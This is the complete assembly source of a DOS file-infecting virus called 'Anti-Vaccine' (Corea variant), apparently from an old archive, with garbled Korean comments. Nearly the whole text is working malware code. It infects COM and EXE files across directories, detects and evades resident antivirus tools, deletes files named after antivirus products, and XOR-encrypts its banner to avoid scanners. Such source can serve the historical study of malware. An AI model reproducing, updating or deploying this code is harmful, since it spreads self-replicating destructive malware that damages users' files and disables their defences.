home *** CD-ROM | disk | FTP | other *** search
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
- ;
- ; Corea (Special version for Hacker dong)
- ; **********************************************
- ;
- ; ╖íƒq : Corea (KV43 êü£╖╤w)
- ; öaƒe ╖íƒq : Anti-Vaccine
- ; ╣A╕b╕a : ña╖í£ß»a╖ü ïí¼a (KOV : Knight Of Virus)
- ; ïa₧ô : ¼ß╢ë ña╖í£ß»a ╡e╨s (SVS : Seoul Virus Society)
- ; ╣A╕b╗í : ╨eèé / 95æe 8╢⌐ 27╖⌐
- ;
- ; ┤σ┤ß : MASM, TASM
- ;
- ; ╣╖ƒA : ºí¼w║ü╤w COM EXE
- ; ¼Θíw : ºí¼w║ü╤w ña╖í£ß»a¥í ₧ü╦a ùí¥B╔íƒí ªü╚ß »í╕b╨ü¼ß ííùe ùí¥B╔íƒíƒi
- ; ûß╣a¼ß 3êü╖ü »⌐╨ù╠a╖⌐ (COM,EXE) ╖i êq╡q»í╟Ñöa. ñé»Ñ ╧a¥íïa£æ╖í ╣Ñ╕ü
- ; ╨aíe ¼b╣A╨eöa.
- ;
- ; PC-VAN ╨ü─ßò╖╖i ╢ß╨ü ╦bÑi ╣A╕bûE ñß╕σ╖íöa.
- ;
- ;
- ; * Anti-Vaccine.926 (Type A/KV40/950301)
- ; * Anti-Vaccine.941 (Type B/KV41/950301)
- ; * Anti-Vaccine.998 (Type C/KV42/950301)
- ; * Anti-Vaccine.1045 (Type D/KV43/950405)
- ; ! Anti-Vaccine.???? (╦bÑiñß╕σ/950827)
- ; Anti-Vaccine.E (Type E/KV44/ )
- ;
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
-
- PARASIZE EQU (End_Memory-Entry+0Fh) SHR 4
-
- AV_D SEGMENT PARA 'AV_D'
- ASSUME CS:AV_D, DS:AV_D
-
- Entry: jmp Patch ; ┤|ªüªà ╠ü├í »í╟│
- ; mov SI, 0100h ; └ß╖q ╢ß├í
- Start: mov DI,9999h
- NOP
- NOP
- A_F: dec DI ; F-PROT ╗Ñöe ñw╨ü
- NOP
- jnz A_F
- NOP
- NOP
- Push DS
- JMP ChkFSP
-
- Msg_Start:
- NOP
- Msg DB 0Dh,0Ah,07h
- DB ' VIRUS: Anti-Vaccine -- by KOV of SVS,Corea',0Dh,0Ah
- DB ' Special Version for Hackerdong...9192.8.27',0Dh,0Ah,00
- Msg_END: NOP
-
- ChkFSP: mov al,0FFh ; FF0Fh
- mov ah,0Fh
- xchg ah,al ;£æ╡A FSP êa ╣Ñ╕ü╨aôeêa?
- NOP ; ╖í£²ëA ╨aíe TBSCAN ╡A¼ßòí
- int 21h ; ╗Ñöe┤eûA║a.
- cmp ax,0101h ; axêa 0101╖ííe ╣Ñ╕ü.
- jz NoInfect ; £æ╡A FSP êa ╣Ñ╕ü╨eöa.
-
- mov ax,3521h ; ES:BX
- NOP
- Int 21h
- cmp word ptr ES:[000Ah],'BT' ; ES:000A ╡A TBDRVX êa ╖╢╖aíe
- jnz ChkVSAFE ; TBAV ╡üñw╢w╖í ╖╢ôeê⌡╖íöa.
- cmp word ptr ES:[000Ch],'RD'
- jz NoInfect ; £æ╡A TBAV êa ╣Ñ╕ü╨eöa.
- ChkVSAFE:
- cmp byte ptr ES:[BX],0EAh ; £æ╡A VSAFE êa ╣Ñ╕ü╨eöa.
- jnz GetDTA
- cmp word ptr ES:[BX+5],80FBh ;
- jnz GetDTA
- jmp NoInfect
-
- GetDTA: mov ah,2Fh ; DTA ║ü¡í ┤Φïí
- Int 21h
- Push BX
- Push ES
-
- call GetTopSeg ; £æ╖ü ┬A¼w╢ß ╢ß├í èü╨aïí
-
- Push SI
- Push CS ; êq╡qÅ{Éaëí ò⌐┤a╡⌐ ╢ß├í
- lea ax, [SI+SegOrgDTA] ; ╕ß╕w
- Push AX
- db 0Eah ; JMP XXXX:╠a╖⌐ êq╡q
- dw offset Virus_P2
- TSeg dw ?
-
- SegOrgDTA: ; RETF ûAíe ╖íë╡╖a¥í ╕±╧a
- Pop SI
- mov ah,1ah ; ╢Ñ£ü DTA ¥í ëí├íïí
- pop DS ;
- pop DX
- Int 21h
-
- NoInfect:
- Pop DS
- push DS
- Pop ES ; PSP Ñóèü
- NOP
-
- cmp byte ptr CS:FileType[SI],01
- jnz Re_COM
- mov ax, ES ; EXE ╠a╖⌐ Ñóèü
- add ax, 0010h
- add CS: Org_CS[SI],ax
- add CS: Org_SS[SI],ax
- mov ss, CS:Org_SS[SI]
- mov sp, CS:Org_SP[SI]
- XOR AX,AX
- XOR BX,BX
- JMP dword ptr CS:Org_IP[SI]
-
- Re_COM: lea si, Org_IP[SI] ; ╢Ñ£ü COM ╣Ñ╕ü ╢ß├í
- mov di,50h
- add DI,0B0h ; DI=100h
- push di
- movsw ; 3 ña╖í╦a
- NOP
- movsb
- RET ; »⌐╨ù
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- GetTopSeg:
- Push SI
- mov Ax, PARASIZE ; ¼a╖í╗a
- mov Bx, word ptr DS:[0002h] ; ¼a╢w┤e╨aôe ┬A¼w╢ß £æ
- sub Bx,Ax
- mov ES,BX
- mov word ptr CS:TSeg[SI],ES
- NOP
- Push cs ; CS=DS
- Pop ds
- NOP
- xor di,di ; IP=0000 ªü╚ß ╣Ñ╕ü╨eöa.
- mov cx, offset End_Memory ; ña╖í£ß»a ï⌐╖í
- repz movsb ; Ñó¼a
- Pop SI
- RET
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ╡aïí¼ß ªü╚ßôe £æ╖ü ┬A¼w╢ß ªü╚ß ╣Ñ╕ü╨aôe ê⌡╖íöa.
- ;<><><><><><><><><><><><><><><><><><><><><><>
-
- Virus_P2:
- Push CS ; CS=DS
- Pop DS
-
- ;ùí¥B╔íƒí ╖íò╖╖e ┤e└Θ«ü│í╖ü ê⌡╖i ïaöü¥í ¼a╢w╨ûöa. êq¼a╨sôíöa.
- ;┤e└Θ«ü│í
-
- mov ah,47h ; ╤e╕ü ùí¥B╔íƒí ╕ß╕w
- xor dl,dl
- mov si, offset szOldDir + 1
- mov szOldDir,'\'
- Int 21h
-
- mov ah, 1Ah ; DTA ñaÄüïí
- mov dx, offset N_DTA ;
- Int 21h
-
- mov al,01 ; 1 ╖i ╕ß╕w
- mov di, offset sDirLevel
- mov cx,0040h
- repz stosb
- mov ax, offset sDirLevel
- mov pDirLevel,ax
-
- mov byte ptr Total,03 ; 3êü êq╡q
- NOP
- mov ah,3Bh ; ₧ü╦a¥í ╗í╕≈
- mov dx, offset szRtDIR
- Int 21h
-
- mov ax,3524h ; Int 24h êa¥í└üïí
- Int 21h
- Push ES ; ES:BS ╕ß╕w
- Push BX
- mov ah,25h
- mov dx, OFFSET NewInt24 ; ╡A£ß └߃í
- Int 21h
-
- Find1st: mov aL, 4Eh ; ╠a╖⌐╖i └x╖q
- mov cx, 100111b ; ¡ó¼≈
- mov dx, OFFSET szAll ; *.*
- FindFile: call callInt21
- jc ChDir ; ╡A£ßíe ùí¥B╔íƒí ñaÄüïí
-
- mov dx, offset N_DTA + 1Eh
- call CheckFileName ; ╠a╖⌐ ╣╖ƒA ê±¼a
- cmp al,0FFh ; êq╡q ªü╕Γ╨q ╠a╖⌐╖▒
- jz FindNext ; öa╖q ╠a╖⌐ └xïí
- call InfectFile ; ╠a╖⌐ êq╡q»í╟íïí
- cmp byte ptr Total,00 ; 3êüƒi êq╡q»í┼vöa.
- jz EFF
- FindNext: mov aL, 4Fh ; öa╖q ╠a╖⌐ └x╖q
- jmp FindFile
- EFF: jmp ExitCF ; Å{Éüïí
-
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ùí¥B╔íƒí ñaÄüïí
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ╢уíôe ëa╢ü ┤i┤vôeòA ái¥íôe í╡╨aëVæA╢a. öü┬ù
- ; ┤i┤a¼ß ¼a╢w╨a¡A╢a.
-
- ChDir: mov si, pDirLevel
- FindDir: xor bl, bl
- mov aL, 4Eh ; ùí¥B╔íƒí └x╖q
- mov cx, 10010b
- mov dx, OFFSET szAll ; *.*
- call callInt21
- jc ChkRtDir
- jmp ChkDir
-
- NextDir: mov AL, 4Fh ; öa╖q ùí¥B╔íƒí └x╖q
- call callInt21
- jc ChkRtDir
-
- ChkDir: cmp BYTE PTR N_DTA[15h], 10000b ; ╗Ñ╝a ùí¥B╔íƒí╖Ñêa?
- jz IsCurDir
- cmp BYTE PTR N_DTA[15h], 10010b
- jnz NextDir
- IsCurDir: cmp BYTE PTR N_DTA[1Eh], '.'
- NOP
- jz NextDir
- inc bl
- cmp bl, [si]
- jnz NextDir
-
- mov AL, 3Bh ; └x╖e ùí¥B╔íƒí¥í ╖íò╖
- mov dx, OFFSET N_DTA + 1Eh
- call callInt21
- inc BYTE PTR [SI]
- inc si
- mov pDirLevel, SI
- jmp Find1st
-
- ChkRtDir: cmp si, OFFSET sDirLevel ; ║ü ùí¥B╔íƒí╖Ñêa?
- je ExitCF
- mov ah, 3Bh ; ¼w╢ß ùí¥B╔íƒí¥í ╖íò╖
- mov dx, OFFSET szPtDir
- int 21h
- mov BYTE PTR [si], 1
- dec si
- jmp FindDir
-
- ExitCF: NOP
- Pop DX ; ╢Ñ£ü Int 24h ¥í ñaÄæ
- Pop DS
- mov ax,2524h
- Int 21h
- Push CS
- Pop DS
- mov ah,3Bh ; ╢Ñ£ü ùí¥B╔íƒí¥í ╖íò╖
- mov dx, offset szOldDir
- Int 21h
- RETF ; êq╡q╤╔ò╖Å{
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; AL = FFh : êq╡q»í╟⌐«ü ┤⌠ôe ╠a╖⌐
- ; 00h : êq╡q»í╟⌐«ü ╖╢ôe ╠a╖⌐
- ;<><><><><><><><><><><><><><><><><><><><><><>
- CheckFileName PROC NEAR
- Push CS
- Pop ES
- mov byte ptr EFY,0FFh ; ïíÑÑêt
-
- ChkEXT: mov SI, offset N_DTA+1Eh ; ╠a╖⌐ ╖íƒq
- ChkE_1: Inc si
- mov AL,DS:[SI]
- cmp al,00 ; ╠a╖⌐ Å{╖Ñêa?
- jz Exit_CFN
- cmp AL,'.' ; ╤┬╕w╕a╖Ñêa?
- jnz ChkE_1
- cmp word ptr DS:[SI+1],'OC' ; .COM file
- jnz ChkEXTisEXE
- cmp byte ptr DS:[SI+3],'M'
- jnz Exit_CFN
- cmp word ptr DS:N_DTA[26],62345 ; 62345 ña╖í╦aÑíöa ╟eêa?
- ja Exit_CFN
- jmp ChkFileSize ; ╠a╖⌐ ╟aïí ê±¼a
- ChkEXTisEXE:
- cmp word ptr DS:N_DTA[28],6 ; ╗íÉa├íëA ╟eêa?
- ja Exit_CFN
- cmp word ptr DS:[SI+1],'XE' ; .EXe
- jnz Exit_CFN
- cmp byte ptr DS:[SI+3],'E'
- jnz Exit_CFN
- ChkFileSize:
- cmp word ptr DS:N_DTA[26],5432 ; 5432 ña╖í╦aÑíöa ╟eêa?
- jb Exit_CFN
-
- ChkVaccine: ; ╠a╖⌐ ╖íƒq ê±¼a╨ü¼ß ñé»Ñ╖ííe ¼b╣A╨q.
- mov ax,word ptr DS:N_DTA[1Eh]
- mov di, offset Anti_VIRNAME ; ñé»Ñ ╖íƒqùi
- add AX, 4848h ;
- mov cx, 0008 ; 8 ñσ ê±¼a
- repnz scasw
- jnz ChkFNAME
- Jmp Del_File
-
- ChkFNAME:
- mov ax,word ptr DS:N_DTA[1Eh]
- cmp ax,'WH' ; HWP.EXE
- jz Exit_CFN
- cmp ax,'OC' ; COMMAND.COM
- jz Exit_CFN ;
- cmp ax,'BI' ; IBMBIO.COM, IBMDOS.COM
- jz Exit_CFN
- ChkSecond:
- mov al, byte ptr N_DTA+22 ; êq╡q ╡aªü ê±¼a
- and al,1Dh ; ┴í ê±¼a
- cmp al,1Dh
- jz Exit_CFN ; ╖íúí êq╡qûA┤÷öa.
- mov byte ptr EFY,00 ; ╠a╖⌐ êq╡q
- Exit_CFN:
- mov al,[EFY]
- RET ; 0FFh íe ªü╕Γ╨s ╠a╖⌐
- CheckFileName ENDP
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ╠a╖⌐ ¼b╣A
- ;<><><><><><><><><><><><><><><><><><><><><><>
- Del_File:
- xor cx,cx ; ╖¬ïí/│aïí¥í ñaÄæ
- mov ax,4301h
- mov dx, offset N_DTA + 1Eh
- Int 21h
- mov ah,41h ; ╠a╖⌐ ¼b╣A
- Int 21h
- mov ah,2Ch ; »íêe ┤Φïí
- Int 21h
- cmp CL, 22 ; 22ªà
- jnz Exit_CV
- mov si, offset Msg ; íA»í╗í ┬ë¥b
- mov cx, offset Msg_END - MSG_Start
- M_Loop: lodsb ; DS:SI -> AL
- mov ah,2
- xor AL,48h ; ┤q╤í╬ëïí
- mov dl,al
- Int 21h ; ┬ë¥b
- loop M_Loop
- EXit_CV: Jmp Exit_CFN
-
- ;<><><><>><><><><><><><><><><><><><><><><><>
- ; ╠a╖⌐ êq╡q ₧ü╦Ñ
- ;<><><><><><><><><><><>><><><><><><><><><><>
- InfectFile PROC NEAR
- mov ax,0043h ; ╠a╖⌐ ¡ó¼≈┤Φïí
- mov dx, offset N_DTA + 1Eh ; DS:DX= ╠a╖⌐ ╖íƒq
- call callInt21
- jnc SetAttr
- Jmp Open_error
- NOP
- SetAttr: mov File_Attr,cx ; ¡ó¼≈ ╕ß╕w
- mov ax,0143h ; ¡ó¼≈╖i ╖¬ïí/│aïí¥í áeùeöa.
- xor cx,cx
- call callInt21
- jnc Open_File
- Jmp Open_error
- Open_File:
- mov ax,023Dh ; ╡í╧e/│aïí¥í ╡í╧e
- call callInt21
- jnc Get_FD
- Jmp Open_error
- NOP
- Get_FD: Push cs
- Pop ES
-
- xchg ax,bx ; AX ╡A ╨àùi ɲïí
- mov ax,0057h ; »íêe ┤Φïí
- call callInt21
- push cx ; Éi╝a/»íêe ╕ß╕w
- push dx
-
- mov aL, 3Fh ; 66h ña╖í╦a ╖¬┤ß ùi╖íïí
- mov dx, offset Buffer4F
- mov si, DX
- mov cx, 0066h
- call callInt21
-
- mov aL,02 ; ╠a╖⌐ Å{╖a¥í ╖íò╖
- call SetPnt ;
-
- mov word ptr File_Size,ax ; ï⌐╖í ╕ß╕w
- mov word ptr File_Size+2,dx
-
- Push AX
- mov AX, word ptr Buffer4F ; EXE ╠a╖⌐╖Ñêa?
- cmp AX,'ZM' ; ╖íñwñ≤╖e Ñí╔╖ÿüôe TBSCAN╡A¼ß
- Pop AX ; ╗Ñöe┤e╨aôeòA ña╖í£ß»aêa ág╖í
- jz IEF ; ñiëeûAíe EXE ┴A╟a¥í ê±¼aûQ
-
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; COM ╠a╖⌐ êq╡q
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ICF: mov byte ptr FileType,00 ; COM ╠a╖⌐╖íöa.
- NOP
- mov di, offset Org_IP
- movsw ; 3ña╖í╦a Ñó¼a
- movsb
-
- sub ax,0003
- mov word ptr Buffer4F+1,AX ; JMP ╢ß├í êt ¼Θ╕≈
- add AX,103h ; ╠a╖⌐ Å{ + 100h = ña╖í£ß»a»í╕b
- mov word ptr Entry+1,AX ; ña╖í£ß»a »í╕b╕±.
- mov byte ptr Buffer4F,0E9h ; JMP íw¥w
- JMP Write_Vircode ; ña╖í£ß»a │aïí¥í ╖íò╖
- NOP
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; EXE ╠a╖⌐ êq╡q
- ;<><><><><><><><><><><><><><><><><><><><><><>
- IEF: mov byte ptr FileType,01 ; EXE ╤w╚ü╖ü ╠a╖⌐╖▒.
- mov word ptr NEType,00 ; NE ╚a╖│╖ü EXE ╠a╖⌐╖Ñ╗í ê±¼a
- mov dx, word ptr Buffer4F[60] ; ╖íò╖êt
- mov cx, word ptr Buffer4F[62]
- mov al,00
- call SetPnt1 ; ╖íò╖
- mov cx,0002
- mov dx, offset NEType
- mov ah,3Fh ; ╖¬ïí
- Int 21h
- cmp word ptr NEType,'EN' ; ╢σòí╢ü╗a or OS/2 ╠a╖⌐?
- jnz ChkOVr
- Jmp Restore_DT
-
- ChkOVR: mov ax,word ptr Buffer4F[04] ; »⌐╣Aï⌐╖í╡┴ ╤Aößï⌐╖í╡┴ ºíèa
- cmp word ptr Buffer4F[02],00 ; (Éüªü ╡íñߥA╖í EXE ╠a╖⌐╖e
- jz MUL_512 ; êq╡q╣A╢AûQ)
- DEC AX
- Mul_512: mov cx,200h
- mul CX
- add ax,word ptr Buffer4F[02]
- ADC dx,+00
- cmp word ptr File_Size,AX
- jz ChkSize_2
- JMP Restore_DT ; öa╖qªü╚ß êq╡q╡aªüƒi ╢ß╨ü ╡í╧e╨a
- ChkSize_2: ; ╗í ┤gëA êq╡qûEêΘ¥í └߃í╨q.
- cmp word ptr File_Size+2,DX
- jz Modify_EXE
- JMP Restore_DT
-
- Modify_EXE: ; EXE ñaÄüïí
- mov si, offset Buffer4F[0Eh] ; ╢Ñ£üêt Ñó¼a
- mov di, offset Org_SS
- mov cx,0010
- repz movsb
-
- mov si, offset Buffer4F
- mov al,02 ; ╠a╖⌐ Å{╖a¥í ╖íò╖
- call SetPnt
-
- PUSH AX ; ╕ß╕w
- PUSH DX
-
- MOV CX,0010h ; / 16
- DIV CX
- SUB AX,[SI+08] ; ╤Aößï⌐╖í(╠a£aïa£ü╧a öe╢ß)
- MOV [SI+16h],AX ; CS êt
- MOV word ptr [Entry+1],DX ; ña╖í£ß»a »í╕b╕± ╕ß╕w (SIêt)
- MOV [SI+14h],DX ; IPêt
- ADD DX, offset Stack_Space ; »a╚éêt ¼Θ╕≈
- MOV [SI+10h],DX ; SPêt
- MOV [SI+0Eh],AX ; SSêt
- POP DX ; ╢Ñ£ü ï⌐╖í
- POP AX
- ADD AX, offset End_Virus ; + ña╖í£ß»a ï⌐╖í
- ADC DX,+00
- MOV CX,0200h ; /512
- DIV CX
- OR DX,DX ; Éaáß╗í?
- JZ No_Inc
- INC AX
- No_Inc: MOV [SI+04],AX ; ï⌐╖í
- MOV [SI+02],DX ; Éaáß╗í
- mov AL,byte ptr [SI+14h] ;
- NOT AL ; IP êt╖ü NOT ╖í êq╡qê±¼aêt
- MOV BYTE PTR [SI+12h],AL ; 12:┴A╟a¼±, êq╡q╡aªü
- Write_VirCode: ; ña╖í£ß»a │aïí
- mov aL,40h ; ña╖í£ß»a │aïí(êa╕w ûß╡A ╖╢öa.)
- xor dx,dx
- mov cx, offset End_Virus
- cmp byte ptr FileType,00 ; COM file
- jz Write_virCode1
- mov cx, offset Stack_Space ; EXE file
- Write_VirCode1:
- call callInt21
-
- mov al,00 ; ╠a╖⌐ └ß╖q╖a¥í ╖íò╖
- call SetPnt
-
- NOP
- mov aL,40h ; ña╖í£ß»aêa áσ╕ß »⌐╨ùûAòí¥ó╨e
- mov cx,001Ah ; 1Ah ña╖í╦aƒi │eöa.
- mov dx, offset Buffer4F ; │i Éü╢w ╢ß├í
- call callInt21
-
- Restore_DT:
- pop dx ; »íêe Ñóèü
- pop cx ; ┴íêt╖í ╖í¼w╨ü╣a¼ß TBSCAN ╡A ╗Ñ
- and cl,11100000B ; öeûAôeê⌡ ñw╗í
- or cx,+1Dh ; ┴íƒi êq╡q »í╟⌐ÿü¥í ñaÄæ
- mov ax,0157h
- call callInt21
-
- mov AL,3Eh ; ╠a╖⌐ öhïí
- call callInt21
- Open_error:
- mov ax,0143h ; ╢Ñ£ü ¡ó¼≈╖a¥í Ñeëw
- mov dx, offset N_DTA+1eh ; ╠a╖⌐ ╖íƒq
- mov cx, File_Attr ; ╠a╖⌐ ¡ó¼≈
- call callInt21
- dec byte ptr Total ; 1êü êq╡q╤ó╖e ╡A£ß
- RET
- InfectFile ENDP
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ╕e╕e╨e ₧ü╦Ñùi
- ;<><><><><><><><><><><><><><><><><><><><><><>
-
- SetPnt: xor cx,cx ; ═í╖Ñ╚ß ╖íò╖
- xor dx,dx
- SetPnt1: mov ah,42h
- Int 21h
- RET
-
- NewInt24:xor al,al ; ¼ü¥í╢à Int 24h êt
- IRET
- NOP
-
- callInt21: ;
- xchg AH,AL ; AH,AL ñaı
- Int 21h
- RET
-
- NOP
- Org_SS DW ?
- Org_SP DW ?
- DW ?
- Org_IP DW 20CDh ; └⌡ ╠a╖⌐
- Org_CS DW ?
- NOP
-
- Anti_VIRNAME DB 'V'+48h,'3'+48h,'T'+48h,'V'+48h,'K'+48h,'A'+48h
- DB 'T'+48h,'K'+48h,'F'+48h,'-'+48h,'T'+48h,'B'+48h
- DB 'S'+48h,'C'+48h,'T'+48h,'2'+48h
- ; V3,TV,KAV,TKO,F-PROT,TBSCAN, SCAN, T2
- szPtDir DB '..',00 ; ¼w╢ß ùí¥B╔íƒí¥í ╖íò╖
- szAll DB '*.*',00 ; ííùe ╠a╖⌐ └xïí
- szRtDir DB '\',00 ; ₧ü╦a ùí¥B╔íƒí¥í ╖íò╖
- pDirLevel DW ? ;
- FileType DB ? ; ╠a╖⌐ ╚a╖│
- End_VIRUS: ; COM Å{
- DB 50h dup (?) ; »a╚é(EXE ╟aïí)
- Stack_Space:
- ;
- ; ╠a╖⌐╡Aôe ╕ß╕w┤eûQ
- Total DB ? ; êq╡q╥U«ü
- Buffer4F DB 66h dup (?) ; ╠a╖⌐ ñß╠ß
- EFY DB ? ; ╕Γ╨s╠a╖⌐╖Ñ╗í ê±¼a
- NEType DB ? ; WindowsÉa OS/2 ╠a╖⌐
- File_Attr DW ? ; ╠a╖⌐ ¡ó¼≈
- File_Size DD ? ; ╠a╖⌐ ¼a╖í╗a
- N_DTA DB 30h dup (?) ; DTA ╡w╡b
- szOldDir DB '\' ; \ôe Éa║ù╡A ɲ┤ß║æ
- DB 7Fh DUP (0) ; ╤e╕ü ùí¥B╔íƒí╢ß├í
- sDirLevel DB 40h DUP (1)
- End_Memory: ; ña╖í£ß»a ┴╖ï⌐╖í
-
- ;*********************************************
- ;
- Patch:
- mov byte ptr DS:[100h],0BEh ; MOV SI,100h
- mov word ptr DS:[101h],100h
-
- mov cx, offset Msg_END - Msg_Start
- mov si, offset Msg_Start+100h ;íA»í╗í ┤q╤í╤┴
- mov di, si
- XOR_LOOP:
- lodsb
- xor al,48h
- stosb
- loop XOR_LOOP
- mov si,100h
- jmp Start
-
- AV_D ENDS
- End ENTRY
-